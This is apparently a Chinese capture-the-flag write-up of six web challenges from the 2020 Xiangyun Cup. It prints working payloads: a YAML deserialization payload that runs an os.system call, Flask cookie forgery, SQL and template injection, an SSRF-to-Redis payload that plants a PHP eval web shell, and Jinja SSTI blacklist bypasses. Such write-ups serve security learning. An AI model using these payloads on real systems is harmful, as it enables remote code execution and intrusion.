祥云杯2020 Web

profile system

yaml反序列化

可以在uploads下目录穿越得到源码 ./uploads/sandbox/../../../app.py

python 源码如下:

from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
    session['priviledge'] = 'guest'
    return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
        flash('Please upload yaml/yml only.')
        return redirect("/")
    else:
        dirname = md5(request.remote_addr.encode()).hexdigest()
        filename = file.filename
        session['filename'] = filename 
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
    dirname = md5(request.remote_addr.encode()).hexdigest()
    realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
    if session['priviledge'] =='elite' and os.path.isfile(realpath):
        try:
            with open(realpath,'rb') as f:
                data = f.read()
                if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
                    info = {'user': 'elite-user'}
                    flash('Sth weird...')
                else:
                    info = yaml.load(data)
                if info['user'] == 'Administrator':
                    flash('Welcome admin!')
                else:
                    raise ()
        except:
            info = {'user': 'elite-user'}
    else:
        info = {'user': 'guest'}
    return render_template("view.html",user = info['user'])

if __name__ == "__main__":
    app.run('0.0.0.0',port=8888,threaded=True)

伪造cookie

ha1c9on@ha1c9ondeMacBook-Pro flask-session-cookie-manager-master % python3 flask_session_cookie_manager3.py encode -s 'Th1s_is_A_Sup333er_s1cret_k1yyyyy' -t '{"filename":"test.yaml","priviledge":"elite"}'
eyJmaWxlbmFtZSI6InRlc3QueWFtbCIsInByaXZpbGVkZ2UiOiJlbGl0ZSJ9.X7oWrQ.GEIuZtLFjbvXH1w34MdCDQbTZ9g

主要得绕正则

https://hackmd.io/@harrier/uiuctf20

原题。当时是通外网的。这里写文件就行

flag.yaml

!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x2f\x20\x3e\x20\x75\x70\x6c\x6f\x61\x64\x73\x2f\x66\x6c\x61\x67\x22\x29"]
#/readflag > ./uploads/flag

easyzzz

通过更新日志.txt确定 是zzzphp 1.8.0

image-20201123132912843

审计源码发现这里有注入点

GET : /form/index.php?module=getjson
POST:table=gbook&where[]=1=1 union select password from zzz_user&col=1

拿到管理员密码 md5 解下是fuzzy9inve 登陆后台编辑search.html

模板注入

{if:1)echo(`cat /flag`);//}{end if}

//可以有非预期 不需要登录后台直接拿文件

doyouknowssrf

原题一把梭,CRLF打Redis

http://eci-2ze5xfvuz0x3wcpba5st.cloudeci1.ichunqiu.com/?url=http://m09ic@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

写shell进去 getshell

Command

view-source:http://eci-2ze5xfvuz0x3oijw67m3.cloudeci1.ichunqiu.com//?url=127.0.0|ca\t%09/etc/.find????/????.txt

用\和%09绕。找flag 发现在etc

flaskbot

报错可以读到部分源码

float(NAN)可以把比赛赢了

name处ssti

测了下,过滤了system eval import os popen flag 拼接下

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['ev'+'al']('__impo'+'rt__("o'+'s").po'+'pen("ls /").read()')}}

读文件

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file'](/super_secret_fl'+'ag.txt').read()

顺手读了源码

import math
import base64
import sys
app = Flask(__name__)
def safe(str): 
    black_list = [&#39;flag&#39;,&#39;os&#39;,&#39;system&#39;,&#39;popen&#39;,&#39;import&#39;,&#39;eval&#39;,&#39;chr&#39;,&#39;request&#39;, &#39;subprocess&#39;,&#39;commands&#39;,&#39;socket&#39;,&#39;hex&#39;,&#39;base64&#39;,&#39;*&#39;,&#39;?&#39;]
    for x in black_list:
        if x in str.lower():
            return &#34;Damn you hacker! You will never&#34;
    return str
        
def guessNum(num,name):
    l=0
    r=1000000000.0
    mid=(l+r)/2.0
    ret=&#34;&#34;
    cnt=0
    while not abs(mid-num)&lt;0.00001:
        cnt=cnt+1
        mid=(l+r)/2.0
        if mid&gt;num:
            r=mid
            ret+=&#34;{0}:{1} is too large&lt;br/&gt;&#34;.format(cnt,mid)
        else:
            l=mid
            ret+=&#34;{0}:{1} is too small&lt;br/&gt;&#34;.format(cnt,mid)
        if cnt &gt; 50:
            break
    if cnt &lt; 50:
        ret+=&#34;{0}:{1} is close enough&lt;br/&gt;I win&#34;.format(cnt,mid)
    else :
        ret+=&#34;Wow! {0} win.&#34;.format(safe(name))
    return ret
    
@app.route(&#39;/&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;])
def Hello():
    if request.method == &#34;POST&#34;:
        user = request.form[&#39;name&#39;]
        resp = make_response(render_template(&#34;guess.html&#34;,name=user))
        resp.set_cookie(&#39;user&#39;,base64.urlsafe_b64encode(user),max_age=3600)
        return resp
    else:
        user=request.cookies.get(&#39;user&#39;)
        if user == None:
            return render_template(&#34;index.html&#34;)
        else:
            user=user.encode(&#39;utf-8&#39;)
            return render_template(&#34;guess.html&#34;,name=base64.urlsafe_b64decode(user))
@app.route(&#39;/guess&#39;,methods=[&#39;POST&#39;])
def Guess():
    user=request.cookies.get(&#39;user&#39;)
    if user==None:
        return redirect(url_for(&#34;Hello&#34;))
    user=user.encode(&#39;utf-8&#39;)
    name = base64.urlsafe_b64decode(user)
    num = float(request.form[&#39;num&#39;])
    if(num&lt;0):
        return &#34;Too Small&#34;
    elif num&gt;1000000000.0:
        return &#34;Too Large&#34;
    else:
        return render_template_string(guessNum(num,name))
@app.errorhandler(404)
def miss(e):
    return &#34;What are you looking for?!!&#34;.getattr(app, &#39;__name__&#39;, getattr(app.__class__, &#39;__name__&#39;)), 404
if __name__ == &#39;__main__&#39;:
    f_handler=open(&#39;/var/log/app.log&#39;, &#39;w&#39;)
    sys.stderr=f_handler
    app.run(debug=True, host=&#39;0.0.0.0&#39;,port=8888)

gogogo

传文件。拿到cookie。cookie中有文件对应的签名

重置靶机。因为用的同一个签名。传完任意文件。替换cookie去访问show就行

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud